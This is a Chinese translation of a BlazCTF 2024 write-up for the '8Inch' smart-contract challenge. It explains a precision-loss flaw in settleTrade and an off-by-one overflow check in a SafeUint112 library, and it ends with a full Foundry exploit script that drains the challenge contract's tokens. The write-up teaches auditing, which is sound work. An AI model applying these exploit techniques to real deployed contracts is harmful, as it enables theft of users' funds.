BlazCTF 2024 - 8Inch 题解

  • Bazzani
  • 发布于 2024-09-26 21:28
  • 阅读 11

本文详细描述了在2024年FuzzLand CTF中解决8Inch挑战的过程,包括对ERC-20合约TradeSettlement的深入分析。文章展示了合约中的多个漏洞,如何利用精度损失和溢出问题来进行攻击,并提供了最终的攻击脚本。通过这一过程,展示了合约安全审计的重要性及相关的漏洞细节。

BlazCTF - 2024 - 8Inch 报告

在2024年9月20日,FuzzLand 举办了一场高质量的 CTF 赛事,涵盖了一系列挑战,测试了即使是最有经验的黑客的技能。尽管难度较大,我还是在规定的时间内以单独黑客的身份成功解决了一些关卡。在这篇报告中,我将重点介绍 8Inch 挑战,分析我发现的漏洞、利用方法以及我采取的步骤,以成功攻陷合约。你可以在官方 CTF GitHub 仓库查看挑战的代码。

快速审查 Foundry 项目后,我们可以观察到目标系统主要由四个合约组成:TradeSettlementChallengeSimpleERC20SafeUint112

TradeSettlement

该合约实现了两方(Maker 和 Taker)之间以特定价格进行的 ERC-20 代币交易。它允许创建和结算交易,并对每笔交易的创建和扩展收取 30 wei的小额费用。入口点有:

  • createTrade:允许用户通过指定代币和卖出、买入的金额来创建交易。
  • scaleTrade允许 Maker 增加活动交易的大小。
  • settleTrade:使 Taker 可以通过在双方之间转移约定代币来结算交易。
  • cancelTrade允许 Maker 取消活跃交易并索回任何未售出的代币。

交易的执行流程如下:

  1. Maker 发出订单,指定参与交易的 ERC-20 代币合约及相应买卖的金额。价格由这些金额之间的比率决定。
  2. Taker 可以通过根据达成的交易比例和交易价格支付相应的“要买的代币”的金额来部分或完全履行交易。
  3. Maker 收到由 Taker 支付的要买的代币数量。
  4. Taker 收到他们愿意履行的要卖出的代币数量。

经过对合约的全面审查,几个细节立即引起了人们的警觉:

  • 🚩 交易金额存储在一个结构体中,数字数据类型使用的是 uint112。每当这些变量被写入时,都会使用 SafeUint112 库安全地降级 uint256 值。假设外部实现是安全的。
  • 🚩 无论是故意还是失误,存在创建代币购买数量为零的交易的可能性。这种交易是没有意义的,因为这实际上是将代币白白赠送给 Taker,而 Maker 仍需支付费用。
  • 🚩 在价格计算中,有一个除法操作,其中的因素可以由 Maker 随意设置。由于 Solidity 使用整数进行运算并在除法时向下取整,这可能导致精度损失。因此,Maker 可以控制除法过程中发生的精度损失程度 💀。

SimpleERC20

该合约是 ERC-20 代币标准的简单实现,定义了转移代币、检查余额和管理代币授权的基本功能。

SafeUint112

该合约作为 TradeSettlement 合约中安全的 uint112 操作库。它定义了两个关键函数:safeCast,将 uint256 值转换为 uint112,以及 safeMul,将 uint112 值(a)乘以 uint256 值(b),并将结果返回为 uint112

这两个操作通过以下代码行“保护”以避免溢出。

require(value <= (1 << 112), "SafeUint112: value exceeds uint112 max");

🚩 这里立即出现一个警告!uint112 的最大值 (type(uint112).max) 不是 2¹¹² (1 << 112),而是 2¹¹²-1。这为这些函数出现混乱提供了可能性,如果被降级的值恰好为 2¹¹²,因为它将无法适应 uint112 类型,但该操作将不会还原,并会返回零作为有效降级值 💀。

Challenge

该合约作为一个工厂,设置挑战的初始状态。如果我们分析构造函数,我们可以看到它部署了一个 TradeSettlement 实例。它创建了两个 SimpleERC20 代币:WOJAKWETH,每种代币的初始供应量为 10 个 ether。然后,它创建一个将 10 WOJAK 以 1 WETH 的价格出售的交易。

constructor() {
  tradeSettlement = new TradeSettlement();

  weth = new SimpleERC20("Wrapped Ether", "WETH", 18, 10 ether);
  wojak = new SimpleERC20("Wojak", "WOJAK", 18, 10 ether);

  wojak.approve(address(tradeSettlement), 10 ether);

  // 将 10 WOJAK 以 1 WETH 的价格出售
  tradeSettlement.createTrade(address(wojak), address(weth), 10 ether, 1 ether);
}

总而言之,它建立了一个简单的交易场景,这将是我们利用系统的起点。

此外,它还具有一个 isSolved 函数,该函数定义了解决挑战需要满足的条件。

function isSolved() public view returns (bool) {
  return wojak.balanceOf(address(0xc0ffee)) >= 10 ether;
}

目标明确:

  1. 🕵 从 TradeSettlement 合约中提取所有 WOJAK
  2. ☕ 将其全部转给 0xc0ffee 地址

考虑到 Challenge 设置的初始场景,以及我们对 TradeSettlementSafeUint112 中入口点和警告的了解,我们可以确定以下攻击面:

  • 我们想提取的所有价值均在 TradeSettlement 的余额中,锁定在 Challenge 合约拥有的交易中。
  • 我们可以调用的唯一能在 TradeSettlement 中产生状态变化的函数是 createTradesettleTrade。其他函数要求调用者必须是活跃交易的所有者。

如果没有足够的代币在我们余额中,我们无法结算或创建任何实质性的交易,但很快就显露出我们可以利用 settleTrade 中的精度损失提取一些免费代币的机会。

function settleTrade(uint256 _tradeId, uint256 _amountToSettle)
    external
    nonReentrant
{

...

    uint256 tradeAmount = _amountToSettle * trade.amountToBuy;

    require(
        trade.filledAmountToSell + _amountToSettle <= trade.amountToSell,
        "Exceeds available amount"
    );

    require(
        IERC20(trade.tokenToBuy)
        .transferFrom(
            msg.sender,
            trade.maker,
            tradeAmount / trade.amountToSell),
            "Buy transfer failed"
        );
    require(
        IERC20(trade.tokenToSell)
        .transfer(msg.sender, _amountToSettle),
        "Sell transfer failed"
    );
...

}

正如之前提到的,精度损失的程度由 Maker 在设定价格时决定。由 Challenge 创建的交易中的除法操作如下:

🕵 如果我们对该特定交易调用 settleTrade 函数,设置 _amountToSettle 在 1 到 9 之间,由于精度损失,我们将欠合约零 WETH 代币。因此,第一次 transferFrom 将通过,转移零数量的 WETH 代币,而第二次转移将免费发送我们请求的 amountToSettle 数量的 WOJAK,成功破坏了合约的会计。

然而,虽然提取一些 WOJAK 价值是可能的,但完全提取解题所需的全部价值大约需要 1e¹⁸ 次调用。这在计算上是不可行的,尤其是在需要支付Gas费用的区块链环境中。

然而,拥有一些 WOJAK 代币使我们可以通过 createTrade 函数创建有价值的交易,并与 scaleTradecancelTrade 进行交互,因为我们现在将成为交易的所有者。

要扩展交易,我们需要提供与原始交易销售金额相应的额外代币,以调整扩展因子。如果我们仔细查看 scaleTrade 函数,我们会发现,我们被要求转移代币仅在 originalAmountToSell 小于 newAmountNeededWithFee 扩展后。在扩展中,这不是显而易见的?扩展因子将始终是正整数,所以条件应始终成立,对吗?难道有更多的内容在里面?🔎

function scaleTrade(uint256 _tradeId, uint256 scale) external nonReentrant {
    require(msg.sender == trades[_tradeId].maker, "Only maker can scale");
    Trade storage trade = trades[_tradeId];
    require(trade.isActive, "Trade is not active");
    require(scale > 0, "Invalid scale");
    require(trade.filledAmountToBuy == 0, "Trade is already filled");
    uint112 originalAmountToSell = trade.amountToSell;
    trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
    trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
    uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);
    if (originalAmountToSell < newAmountNeededWithFee) {
        require(
            IERC20(trade.tokenToSell)
            .transferFrom(
                msg.sender,
                address(this),
                newAmountNeededWithFee - originalAmountToSell
            ),
            "Transfer failed"
        );
    }
}

我们的资深研究员的眼光发现,newAmountNeededWithFee 是通过 SafeUint112 中的函数计算的,而我们已经确定其中存在溢出问题,允许 uint112 类型溢出,将 2¹¹² 降级为零。因此我们可以扩展有价值的交易而无需提供额外代币,如果 newAmountNeededWithFee 等于 0(即 2¹¹² 降级)💀 💀 💀。

总结一下:

  • 我们可以创建一个交易去出售一些 WOJAK
  • 我们可以创建交易以免费赠送任何代币给第三方(也可以是我们——为什么不呢?👹)。
  • 我们能够扩展交易而无需支付相应于扩展数量差额的费用,这得益于溢出。

通过这些发现,我们现在可以制定最终的攻击脚本,以充分利用 TradeSettlement 合约。最终的 Foundry 脚本如下:

  • 首先,我们提取 9 wei 的 WOJAK 四次,以确保至少有 31 wei 以支付交易费用并创建交易。
  • 接下来,我们创建一个恶意交易,交换 1 WOJAK 以换取 0 WETH
  • 然后,我们使用 2¹¹²-30 的扩展因子免费扩展交易。
  • 最后,我们可以履行扩展后赠送的交易,以提取合约中的所有剩余 WOJAK 价值。
function run() public {
    vm.startBroadcast(msg.sender);
    console.log("从合约中提取第一笔 WOJAK 的金额。");
    for(uint256 i =0; i < 4; i++) {
        tradeSettlement.settleTrade(0, 9);
    }
    console.log("提取的 WOJAK 数量", wojak.balanceOf(msg.sender));

    console.log("创建扩展交易。");
    wojak.approve(address(tradeSettlement), type(uint256).max);
    tradeSettlement.createTrade(address(wojak), address(weth), 31, 0);

    console.log("通过溢出扩展交易。");
    uint256 scale = (uint256(1 << 112)-30);
    tradeSettlement.scaleTrade(1, scale);

    console.log("提取 remaining WOJAK。");
    tradeSettlement.settleTrade(1,wojak.balanceOf(address(tradeSettlement)));

    console.log("将所有 WOJAK 转到 0xc0ffee", wojak.balanceOf(msg.sender));
    wojak.transfer(address(0xc0ffee), wojak.balanceOf(msg.sender));
}

好极了!在执行脚本后,CTF 后端将直接把标志抛给我们的 CLI

  • 原文链接: medium.com/@bazzanigianf...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Bazzani
Bazzani
Blockchain Security Researcher @ OpenZeppelin